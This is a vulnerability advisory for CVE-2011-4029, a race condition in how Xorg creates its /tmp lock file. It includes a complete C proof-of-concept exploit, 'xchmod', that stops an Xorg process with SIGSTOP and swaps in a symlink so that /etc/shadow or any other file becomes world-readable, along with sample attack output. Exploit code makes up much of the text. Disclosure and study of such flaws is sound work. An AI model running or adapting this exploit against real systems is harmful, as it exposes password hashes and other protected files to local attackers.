Xorg versions 1.11.2 and below suffer from a permission change vulnerability that allows a local user the ability to set an arbitrary file to 444.
9f6009b727030f6089ce212fb9833092feb2cd7c92c9d65e65e274472ecb43ce
Author: vladz <vladz@devzero.fr> (new on twitter @v14dz!)
Description: Xorg permission change vulnerability (CVE-2011-4029)
Product: X.Org (http://www.x.org/releases/)
Affected: Xorg 1.4 to 1.11.2 in all configurations. Xorg 1.3 and
earlier if built with the USE_CHMOD preprocessor identifier
PoC tested on: Debian 6.0.2 up to date with X default configuration issued
from the xserver-xorg-core package (version 2:1.7.7-13)
Follow-up: 2011/10/07 - X.org foundation informed
2011/10/09 - Distros informed
2011/10/18 - Issue/patch publicly announced
Introduction
------------
I've found a file permission change vulnerability in the way that Xorg
creates its temporary lock file "/tmp/.tXn-lock" (where 'n' is the X
display). When exploited, this vulnerability allows a non-root user to set
the read permission for all users on any file or directory.
For the exploit to succeed the local attacker needs to be able to run the
X.Org X11 X server.
NOTE: At this time (26/10/2010), some distros are still vulnerable (see
"Fix & Patch" above for more informations).
Description
-----------
Once started, Xorg attempts to create a lock file "/tmp/.Xn-lock" in a
secure manner: it creates/opens a temporary lock file "/tmp/.tXn-lock"
with the O_EXCL flag, writes the current PID into it, links it to the final
"/tmp/.Xn-lock" and unlink "/tmp/.tXn-lock". Here is the code:
$ cat -n os/utils.c
[...]
288 /*
289 * Create a temporary file containing our PID. Attempt three times
290 * to create the file.
291 */
292 StillLocking = TRUE;
293 i = 0;
294 do {
295 i++;
296 lfd = open(tmp, O_CREAT | O_EXCL | O_WRONLY, 0644);
297 if (lfd < 0)
298 sleep(2);
299 else
300 break;
301 } while (i < 3);
302 if (lfd < 0) {
303 unlink(tmp);
304 i = 0;
305 do {
306 i++;
307 lfd = open(tmp, O_CREAT | O_EXCL | O_WRONLY, 0644);
308 if (lfd < 0)
309 sleep(2);
310 else
311 break;
312 } while (i < 3);
313 }
314 if (lfd < 0)
315 FatalError("Could not create lock file in %s\n", tmp);
316 (void) sprintf(pid_str, "%10ld\n", (long)getpid());
317 (void) write(lfd, pid_str, 11);
318 (void) chmod(tmp, 0444);
319 (void) close(lfd);
320
[...]
328 haslock = (link(tmp,LockFile) == 0);
329 if (haslock) {
330 /*
331 * We're done.
332 */
333 break;
334 }
335 else {
336 /*
337 * Read the pid from the existing file
338 */
339 lfd = open(LockFile, O_RDONLY);
340 if (lfd < 0) {
341 unlink(tmp);
342 FatalError("Can't read lock file %s\n", LockFile);
343 }
[...]
As a reminder, chmod() operates on filenames rather than on file handles.
So in this case, at line 318, there is no guarantee that the file
"/tmp/.tXn-lock" still refers to the same file on disk that it did when it
was opened via the open() call. See TOCTOU vulnerability explained on
OWASP[1] for more informations.
The idea here is to remove and replace (by a malicious symbolic link), the
"tmp" file ("/tmp/.tXn-lock") between the call to open() at line 296 and
the call to chmod() at line 318. But for a non-root user, removing this
file looks impossible as it is located in a sticky bit directory ("/tmp")
and owned by root.
But, what if we launch two Xorg processes with an initial offset (few
milliseconds) so that the first process unlink() (line 341) the "tmp" file
right before the second process calls chmod()? This race condition would
consists in placing unlink() between open() and chmod(). It sounds very
difficult because there is only one system call between them (and maybe not
enough time to perform unlink() and create our symbolic link):
# strace X :1
[...]
open("/tmp/.tX1-lock", O_WRONLY|O_CREAT|O_EXCL, 0644) = 0
write(0, " 2192\n", 11) = 11
chmod("/tmp/.tX1-lock", 0444) = 0
Anyway, we can make this possible by sending signals SIGCONT and SIGSTOP[2]
to our process. As they are not trapped by the program, they will allow us
to control and regulate (by stopping and resuming) the execution flow.
Here is how to proceed:
1) launch the X wrapper (pid=n)
2) stop it (by sending SIGSTOP to 'n') rigth after "/tmp/.tX1-lock" is
created (this actually means that the next instruction is chmod())
3) launch another X process to unlink() /tmp/.tX1-lock
4) create the symbolic link "/tmp/.tX1-lock" -> "/etc/shadow"
5) send SIGCONT to 'n' to perform chmod() on our link
The minor problem is that when launching X several times (for race
purpose), it makes the console switch between X and TTY, and in some cases,
it freezes the screen and disturbs the attack. The solution is to make X
exit before it switches by creating a link "/tmp/.Xn-lock" (real lock
filename) to a file that doesn't exist. This will make the open() call
fails at line 339, and quit with FatalError() at 342.
So before our 5 steps, we just need to add:
0) create the symbolic link "/tmp/.X1-lock" -> "/dontexist"
Proof Of Concept
----------------
/* xchmod.c -- Xorg file permission change vulnerability PoC
This PoC sets the rights 444 (read for all) on any file specified as
argument (default file is "/etc/shadow"). Another good use for an
attacker would be to dump an entire partition in order to disclose its
full content later (via a "mount -o loop"). Made for EDUCATIONAL
PURPOSES ONLY! CVE-2011-4029 has been assigned.
In some configurations, this exploit must be launched from a TTY
(switch by typing Ctrl-Alt-Fn).
Tested on Debian 6.0.2 up to date with X default configuration issued
from the xserver-xorg-core package (version 2:1.7.7-13).
Compile: cc xchmod.c -o xchmod
Usage: ./xchmod [/path/to/file] (default file is /etc/shadow)
$ ls -l /etc/shadow
-rw-r----- 1 root shadow 1072 Aug 7 07:10 /etc/shadow
$ ./xchmod
[+] Trying to stop a Xorg process right before chmod()
[+] Process ID 4134 stopped (SIGSTOP sent)
[+] Removing /tmp/.tX1-lock by launching another Xorg process
[+] Creating evil symlink (/tmp/.tX1-lock -> /etc/shadow)
[+] Process ID 4134 resumed (SIGCONT sent)
[+] Attack succeeded, ls -l /etc/shadow:
-r--r--r-- 1 root shadow 1072 Aug 7 07:10 /etc/shadow
-----------------------------------------------------------------------
"THE BEER-WARE LICENSE" (Revision 42):
<vladz@devzero.fr> wrote this file. As long as you retain this notice
you can do whatever you want with this stuff. If we meet some day, and
you think this stuff is worth it, you can buy me a beer in return. -V.
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <syscall.h>
#include <signal.h>
#include <string.h>
#include <stdlib.h>
#define XORG_BIN "/usr/bin/X"
#define DISPLAY ":1"
char *get_tty_number(void) {
char tty_name[128], *ptr;
memset(tty_name, '\0', sizeof(tty_name));
readlink("/proc/self/fd/0", tty_name, sizeof(tty_name));
if ((ptr = strstr(tty_name, "tty")))
return ptr + 3;
return NULL;
}
int launch_xorg_instance(void) {
int child_pid;
char *opt[] = { XORG_BIN, DISPLAY, NULL };
if ((child_pid = fork()) == 0) {
close(1); close(2);
execve(XORG_BIN, opt, NULL);
_exit(0);
}
return child_pid;
}
void show_target_file(char *file) {
char cmd[128];
memset(cmd, '\0', sizeof(cmd));
sprintf(cmd, "/bin/ls -l %s", file);
system(cmd);
}
int main(int argc, char **argv) {
pid_t proc;
struct stat st;
int n, ret, current_attempt = 800;
char target_file[128], lockfiletmp[20], lockfile[20], *ttyno;
if (argc < 2)
strcpy(target_file, "/etc/shadow");
else
strcpy(target_file, argv[1]);
sprintf(lockfile, "/tmp/.X%s-lock", DISPLAY+1);
sprintf(lockfiletmp, "/tmp/.tX%s-lock", DISPLAY+1);
/* we must ensure that Xorg is not already running on this display */
if (stat(lockfile, &st) == 0) {
printf("[-] %s exists, maybe Xorg is already running on this"
" display? Choose another display by editing the DISPLAY"
" attributes.\n", lockfile);
return 1;
}
/* this avoid execution to continue (and automatically switch to another
* TTY). Xorg quits with fatal error because the file that /tmp/.X?-lock
* links does not exist.
*/
symlink("/dontexist", lockfile);
/* we have to force this mask to not comprise our later checks */
umask(077);
ttyno = get_tty_number();
printf("[+] Trying to stop a Xorg process right before chmod()\n");
while (--current_attempt) {
proc = launch_xorg_instance();
n = 0;
while (n++ < 10000)
if ((ret = syscall(SYS_stat, lockfiletmp, &st)) == 0)
break;
if (ret == 0) {
syscall(SYS_kill, proc, SIGSTOP);
printf("[+] Process ID %d stopped (SIGSTOP sent)\n", proc);
stat(lockfiletmp, &st);
if ((st.st_mode & 4) == 0)
break;
printf("[-] %s file has wrong rights (%o)\n"
"[+] removing it by launching another Xorg process\n",
lockfiletmp, st.st_mode);
launch_xorg_instance();
sleep(7);
}
kill(proc, SIGKILL);
}
if (current_attempt == 0) {
printf("[-] Attack failed.\n");
if (!ttyno)
printf("Try with console ownership: switch to a TTY* by using "
"Ctrl-Alt-F[1-6] and try again.\n");
return 1;
}
printf("[+] Removing %s by launching another Xorg process\n",
lockfiletmp);
launch_xorg_instance();
sleep(7);
if (stat(lockfiletmp, &st) == 0) {
printf("[-] %s lock file still here... :(\n", lockfiletmp);
return 1;
}
printf("[+] Creating evil symlink (%s -> %s)\n", lockfiletmp,
target_file);
symlink(target_file, lockfiletmp);
printf("[+] Process ID %d resumed (SIGCONT sent)\n", proc);
kill(proc, SIGCONT);
/* wait for chmod() to finish */
usleep(300000);
stat(target_file, &st);
if (!(st.st_mode & 004)) {
printf("[-] Attack failed, rights are %o. Try again!\n", st.st_mode);
return 1;
}
/* cleaning temporary link */
unlink(lockfile);
printf("[+] Attack succeeded, ls -l %s:\n", target_file);
show_target_file(target_file);
return 0;
}
Fix & Patch
------------
A fix for this vulnerability is available and will be included in xserver
1.11.2 and xserver 1.12.
http://cgit.freedesktop.org/xorg/xserver/commit/?id=b67581cf825940fdf52bf2e0af4330e695d724a4
Some distros released new Xorg packages (Ubuntu, Gentoo) since others (like
Debian) judge this as a non-critical issue:
http://security-tracker.debian.org/tracker/CVE-2011-4029
Footnotes & links
-----------------
[1] https://www.owasp.org/index.php/File_Access_Race_Condition:_TOCTOU
[2] http://en.wikipedia.org/wiki/SIGCONT
"SIGCONT is the signal sent to restart a process previously paused by
the SIGSTOP signal".